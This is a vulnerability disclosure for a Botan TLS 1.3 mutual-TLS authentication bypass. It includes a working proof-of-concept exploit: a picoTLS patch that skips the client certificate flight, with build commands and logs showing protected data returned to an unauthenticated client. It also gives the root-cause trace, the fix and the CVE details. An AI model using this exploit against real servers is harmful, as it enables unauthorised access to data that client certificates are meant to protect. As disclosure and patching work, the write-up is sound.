Unfettered access to classified material

BSI-recommended cryptographic library serves highly sensitive information to miscreants

Discovered 17 Mar 2026 · Updated 31 Mar 2026

A stranger walks in off the street, wants entry to the embassy filing room, guard demands identification, system doesn't. Anyone can walk in, remove material, manipulate it, even add their own documents. No checks.

Germany's federal security agency commissioned and recommends the Botan cryptographic library for handling classified material: BSI vetted, Rohde & Schwarz developed, used where security matters. A network attacker with no certificate, no private key, no foothold, remotely connects to a Botan mutual-TLS server, completes only the doffs-cap-and-good-day portion of the handshake, and is welcomed in as if they held valid credentials — digital shoulder-surf. Classified data flows back, attacker payload flows in. Complete break.

> *Botan establishes a handshake-traffic key, then decrypts application data — client sent no Certificate, no signature verified, no Finished message seen.*

Attacker speaks protocol opening as legit client would: ClientHello, Diffie-Hellman key exchange, handshake-traffic keys established each way. Then the protocol expects client Certificate flight: a signed chain, signature over transcript, Finished message sealing the deal, authority demonstrated. Attacker sends none of it. They jump straight to encrypted application data, the doffs-cap monologue made literal on the wire: `GET /classified/`.

```
Attacker (no certificate)         Botan server (client certificate required)

ClientHello         ----------->
                    <-----------   ServerHello
                    <-----------   EncryptedExtensions
                    <-----------   CertificateRequest
                    <-----------   Certificate, CertificateVerify, Finished

attacker sends no Certificate, no CertificateVerify, no Finished

GET /classified/    ----------->   handshake_complete=NO
                    <-----------   205 bytes of classified content
```

Botan's record layer decrypts, sees its inner type is ApplicationData, dispatches to application callback; handshake-completion application developer expected hasn't actually completed. The application receives the bytes. Replies. Encryption rolls over server's handshake-traffic secret, derived from DH exchange; attacker decrypts without doing anything but asking. Vulnerable code shipped in every Botan TLS 1.3 release, lives in libraries BSI itself sponsored.

Don't trust, verify: No certificate, cable returned

A Botan mTLS server and a hand-sculpted client, two terminals, victim and attacker.

```
# Terminal 1 — the mutual-TLS server.

$ ./mtls_server 9443 srv.crt srv.key ca.crt > server.log 2>&1 &

# Terminal 2 — the request, and the client that carries it:
$ printf 'GET /classified/ HTTP/1.0\r\nUser-Agent: cybernuke\r\n\r\n' \
    > req.txt
$ timeout 20 ./picotls/build/cli -I -i req.txt 127.0.0.1 9443
```

The attacker says hello, requests classified material: right way is handshake flight, then application data; we rewire picoTLS to skip Certificate, CertificateVerify, Finished, going straight to application data.

```
--- a/lib/picotls.c
+++ b/lib/picotls.c
@@ -3480,23 +3480,6 @@ static int client_handle_finished(ptls_t *tls, ptls_message_
     if ((ret = push_change_cipher_spec(tls, emitter)) != 0)
         goto Exit;

-    if (!alert_ech_required && tls->client.certificate_request.context.base != NUL
-        if ((ret = send_certificate(tls, emitter, &tls->client.certificate_request
-                                    tls->client.certificate_request.context, 0, NU
-            ret = send_certificate_verify(tls, emitter, &tls->client.certificate_r
-                                          PTLS_CLIENT_CERTIFICATE_VERIFY_CONTEXT_S
-        free(tls->client.certificate_request.context.base);
-        tls->client.certificate_request.context = ptls_iovec_init(NULL, 0);
-        if (ret != 0)
-            goto Exit;
-    }
-
-    ret = send_finished(tls, emitter);
-
-    memcpy(tls->traffic_protection.enc.secret, send_secret, sizeof(send_secret));
-    if ((ret = setup_traffic_protection(tls, 1, NULL, 3, 0, 0)) != 0)
-        goto Exit;
-
     tls->state = PTLS_STATE_CLIENT_POST_HANDSHAKE;

     /* if ECH was rejected, close the connection with ECH_REQUIRED alert after ver
```

That patch is the whole attacker: a stock picoTLS client taught to skip its Certificate flight. Build it, then aim the bare `GET` at the mTLS server. Nothing should come back: no certificate, no Finished message, handshake never completed. It returns anyway, sealed under a key derived from the public Diffie-Hellman exchange:

```
$ git -C picotls apply ../adversary.patch
$ cmake --build picotls/build --target cli -j2
[100%] Built target cli

# Terminal 2 — the same command, the same request, no certificate:
$ timeout 20 ./picotls/build/cli -I -i req.txt 127.0.0.1 9443
S E C R E T SECTION 01 OF 03 STATE 080163
E.O. 12958: DECL: 07/31/2034
TAGS: KSPR, PINR, PINS, KSEC, OREP, UNGA
SUBJECT: (S/NF) REPORTING AND COLLECTION NEEDS:
         THE UNITED NATIONS
REF: STATE 71867
ptls_receive:256
```

That is the attacker's side of the wire. Server's own log tells the same story:

```
[VERSION] Botan 3.11.0
[READY] listening on 9443, require_client_cert=true
[ACCEPT] client connected
[DATA-RECEIVED] seq=0 len=52 handshake_complete=NO
[DATA] GET /classified/ HTTP/1.0\x0d\x0aUser-Agent: cybernuke\x0d\x0a\x0d\x0a
[REPLY] sent 205 bytes of classified content
[DONE] server shut down
```

One field carries it: `handshake_complete=NO`. Server invoked the application's data-received callback anyway, and what reached the application is the attacker's request verbatim. The reply, 205 bytes of cable header the application expected to be sending to a credentialed peer, went back over the wire under a key the attacker holds. The application has no way of knowing the client never authenticated; the cryptographic library was supposed to enforce that and chose, on this branch, not to.

Server was not misconfigured. Revert the patch and the same policy turns the same client away:

```
# Terminal 2 — a stock picoTLS client, no client certificate:
$ timeout 20 ./picotls/build/cli -I -i req.txt 127.0.0.1 9443
ptls_receive:372

# Terminal 1 — server.log:
[VERSION] Botan 3.11.0
[READY] listening on 9443, require_client_cert=true
[ACCEPT] client connected
[EXCEPTION] Policy requires client send a certificate, but it did not
[DONE] server shut down
```

picoTLS reports 372: peer alert 116, certificate_required. That is what a client without credentials is owed, and nothing reaches the application.

Trace to vulnerability site: Handshake gated, data not

Botan's TLS 1.3 channel dispatches an incoming record on its inner content type. The Handshake branch is gated: three lines in, a state-machine check picks between mid-handshake parsing and post-handshake messages. Two arms further down the same chain, past ChangeCipherSpec, the ApplicationData branch is gated on nothing at all.

```
$ cd botan-3.11.0
$ grep -n 'record.type == Record_Type\|!is_handshake_complete' \
    src/lib/tls/tls13/tls_channel_impl_13.cpp
105:         if(record.type == Record_Type::Handshake) {
108:            if(!is_handshake_complete()) {
163:         } else if(record.type == Record_Type::ChangeCipherSpec) {
165:         } else if(record.type == Record_Type::ApplicationData) {
168:         } else if(record.type == Record_Type::Alert) {
$ sed -n 165,167p src/lib/tls/tls13/tls_channel_impl_13.cpp
         } else if(record.type == Record_Type::ApplicationData) {
            BOTAN_ASSERT(record.seq_no.has_value(), "decrypted application traffic
            callbacks().tls_record_received(record.seq_no.value(), record.fragment)
```

Two statements in that branch body: an assertion a sequence number is present, and the call into the application. A record decrypted under the handshake-traffic key reaches the application's receive callback from here. The application has no second gate: mutual TLS is the gate it chose.

The check Botan needed is one file over, in `tls_cipher_state.cpp`, whose own comment says why. The key schedule withholds the client's application-data keys until Finished has been seen, and the same class exposes a helper answering, in effect, "may application data be decrypted?", returning false on a server until the state machine reads Completed:

```
$ sed -n 181,187p src/lib/tls/tls13/tls_cipher_state.cpp
   // Note: the secrets for processing client's application data
   //       are not derived before the client's Finished message
   //       was seen and the handshake can be considered finished.
   if(m_connection_side == Connection_Side::Server) {
      derive_write_traffic_key(server_application_traffic_secret);
      m_read_application_traffic_secret = std::move(client_application_traffic_secr
      m_write_application_traffic_secret = std::move(server_application_traffic_sec
$ sed -n 329,343p src/lib/tls/tls13/tls_cipher_state.cpp
bool Cipher_State::can_decrypt_application_traffic() const {
   // TODO: when implementing early traffic (0-RTT) this will likely need
   //       to allow `State::EarlyTraffic`.

   if(m_connection_side == Connection_Side::Client && m_state != State::ServerAppli
      m_state != State::Completed) {
      return false;
   }

   if(m_connection_side == Connection_Side::Server && m_state != State::Completed)
      return false;
   }

   return !m_read_key.empty() && !m_read_iv.empty();
}
```

The helper exists. It has the right semantics. It is simply never called on the ApplicationData receive path.

Fix: Botan's own helper, called where it never was

Cybernuke's guard is one conditional at the dispatch site: ask the cipher state machine whether application data may be decrypted yet, and throw `Unexpected_Message` if not.

```
--- a/src/lib/tls/tls13/tls_channel_impl_13.cpp
+++ b/src/lib/tls/tls13/tls_channel_impl_13.cpp
@@ -163,6 +163,16 @@ size_t Channel_Impl_13::from_peer(std::span<const uint8_t> dat
          } else if(record.type == Record_Type::ChangeCipherSpec) {
             process_dummy_change_cipher_spec();
          } else if(record.type == Record_Type::ApplicationData) {
+            // RFC 8446 A.2
+            //    A server switches K_recv to the application traffic key only
+            //    on receiving the peer's Finished; before that it is still in
+            //    WAIT_FLIGHT2/WAIT_CERT/WAIT_CV/WAIT_FINISHED and no
+            //    application data is expected.
+            if(!m_cipher_state ||
+               !m_cipher_state->can_decrypt_application_traffic()) {
+               throw Unexpected_Message(
+                  "Application data received before handshake completion");
+            }
             BOTAN_ASSERT(record.seq_no.has_value(), "decrypted application traffic
             callbacks().tls_record_received(record.seq_no.value(), record.fragment
          } else if(record.type == Record_Type::Alert) {
```

Saved as `fix.patch`, it applies to the 3.11.0 tree. The version header is untouched, so the patched build below still reports `Botan 3.11.0`:

```
# Cybernuke's guard, applied to the pinned target, rebuilt, and the
# server relinked against it. One translation unit changes.

$ git -C botan-3.11.0 apply ../fix.patch
$ cd botan-3.11.0
$ make -j2 libs
$ cd ..
$ g++ -std=c++20 -O2 -I botan-3.11.0/build/include/public mtls_server.cpp \
    botan-3.11.0/libbotan-3.a -o mtls_server
```

The same attacker, the same command. The record is decrypted, recognised as application data arriving before the state machine permits it, and refused with a fatal unexpected-message alert (picoTLS reports 266, its encoding of peer alert 10). The application's callback is never reached:

```
# Terminal 2 — the attacker, unchanged:
$ timeout 20 ./picotls/build/cli -I -i req.txt 127.0.0.1 9443
ptls_receive:266

# Terminal 1 — server.log:
[VERSION] Botan 3.11.0
[READY] listening on 9443, require_client_cert=true
[ACCEPT] client connected
[EXCEPTION] Application data received before handshake completion
[DONE] server shut down
```

The honest path is unaffected. With the adversary patch reverted, a stock picoTLS client presenting a certificate the server trusts completes its handshake against that same patched build:

```
$ git -C picotls apply -R ../adversary.patch
$ cmake --build picotls/build --target cli -j2
[100%] Built target cli

# Terminal 2 — a stock picoTLS client, with a certificate the server
# trusts:
$ timeout 20 ./picotls/build/cli -I -C client.crt -k client.key -i req.txt \
    127.0.0.1 9443
S E C R E T SECTION 01 OF 03 STATE 080163
E.O. 12958: DECL: 07/31/2034
TAGS: KSPR, PINR, PINS, KSEC, OREP, UNGA
SUBJECT: (S/NF) REPORTING AND COLLECTION NEEDS:
         THE UNITED NATIONS
REF: STATE 71867
ptls_receive:256

# Terminal 1 — server.log:
[VERSION] Botan 3.11.0
[READY] listening on 9443, require_client_cert=true
[ACCEPT] client connected
[HANDSHAKE] complete, TLS v1.3
[DATA-RECEIVED] seq=0 len=52 handshake_complete=YES
[DATA] GET /classified/ HTTP/1.0\x0d\x0aUser-Agent: cybernuke\x0d\x0a\x0d\x0a
[REPLY] sent 205 bytes of classified content
[DONE] server shut down
```

Same 205 bytes, this time to a peer that proved who it was.

Scope

The German Federal Office for Information Security (BSI) commissioned Rohde & Schwarz Cybersecurity to develop open-source cryptographic library Botan from 2015 to 2017, then to maintain and extend it from 2022 to 2025: the agency describes Botan as "suitable for applications with increased security requirements." Two builds are recommended: Botan 3.6.1 upstream and 3.7.1-RSCS1, the Rohde & Schwarz fork that constrains cryptography to the BSI-approved set and adds post-quantum schemes. Debian 13 ships 3.7.1.

In scope: any Botan application relying on TLS 1.3 client authentication to decide who may speak to it. The defect is a state-machine omission at a dispatch site, orthogonal to the algorithm-restriction work the hardened fork adds, and as old as Botan's TLS 1.3 support. The demonstration pins 3.11.0, March 2026; the same unguarded branch stands in 3.0.0, April 2023:

```
# Botan 3.0.0, the first release to carry TLS 1.3. Source only.

$ git clone --depth 1 --branch 3.0.0 https://github.com/randombit/botan \
    botan-3.0.0
$ git -C botan-3.0.0 rev-parse HEAD
51b06ca93d1998d19927699f78b8d67539148dde
$ grep -n -A3 'record.type == Record_Type::ApplicationData' \
    botan-3.0.0/src/lib/tls/tls13/tls_channel_impl_13.cpp
177:         else if(record.type == Record_Type::ApplicationData)
178-            {
179-            BOTAN_ASSERT(record.seq_no.has_value(), "decrypted application traf
180-            callbacks().tls_record_received(record.seq_no.value(), record.fragm
```

Not in scope: connections that ask nothing of the client. The same branch accepts the same early record there, but no authentication decision was delegated to the library, so nothing is bypassed. The attack needs no key, no certificate, and no position of trust, only the ability to open a connection.

Discovered 2026-03-17; disclosed 2026-03-20 (CERT/CC VRF#26-03-RDQYT, the vendor, and BSI). Target: Botan 3.11.0. CWE-288, CWE-841 · CVSS 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).

Detected, exploited, & patched by cybernuke — cybernuke.bensmyth.com.

Updated 31 Mar 2026 — the guard shown above shipped as Cybernuke's fix in Botan 3.11.1 (31 Mar 2026), assigned CVE-2026-34582 (GHSA-pxcj-9ppx-g86g).

Appendix: standing it up

Everything a maintainer needs is above. What follows is the wiring, here so that a verifier whose own reconstruction disagrees with ours can find out whose fault that is. It runs in one directory: the two clones, the server source below, the fixtures, and the two patches the demonstration applies.

Both clones, and the compile that links them together:

```
# the target: upstream Botan at the 3.11.0 release tag. Nothing here
# reads a version out of a directory name — the commit is printed at
# the end and asserted against the tag.

$ git clone --depth 1 --branch 3.11.0 https://github.com/randombit/botan \
    botan-3.11.0
$ cd botan-3.11.0
$ ./configure.py --minimized-build --disable-shared-library \
    --enable-modules=tls13,ecdsa,pcurves_secp256r1,gcm,socket,system_rng
$ make -j2 libs
$ cd ..

# the victim: the mutual-TLS server, compiled against that library
$ g++ -std=c++20 -O2 -I botan-3.11.0/build/include/public mtls_server.cpp \
    botan-3.11.0/libbotan-3.a -o mtls_server

# the attacker: picoTLS, pinned at the upstream commit
$ git clone https://github.com/h2o/picotls.git
$ git -C picotls checkout aef2262
$ git -C picotls submodule update --init
$ cmake -S picotls -B picotls/build
$ cmake --build picotls/build --target cli -j2

$ git -C botan-3.11.0 rev-parse HEAD
4f6f5bbaf7263ca6062e6644950ae30625f06490
```

What the server trusts, and the credential that would satisfy it:

```
# a throwaway certificate authority, the server's certificate, and
# one client certificate the server would accept. Only the argvs are
# shown — these commands print key-generation progress, nothing else.

$ openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out ca.key
$ openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out srv.key
$ openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 \
    -out client.key
$ openssl req -x509 -new -key ca.key -out ca.crt -days 30 \
    -subj '/CN=WALKTHROUGH Test CA'
$ openssl req -new -key srv.key -out srv.csr -subj /CN=localhost
$ openssl x509 -req -in srv.csr -CA ca.crt -CAkey ca.key -set_serial 1 \
    -days 30 -out srv.crt
$ openssl req -new -key client.key -out client.csr -subj /CN=analyst
$ openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -set_serial 2 \
    -days 30 -out client.crt
```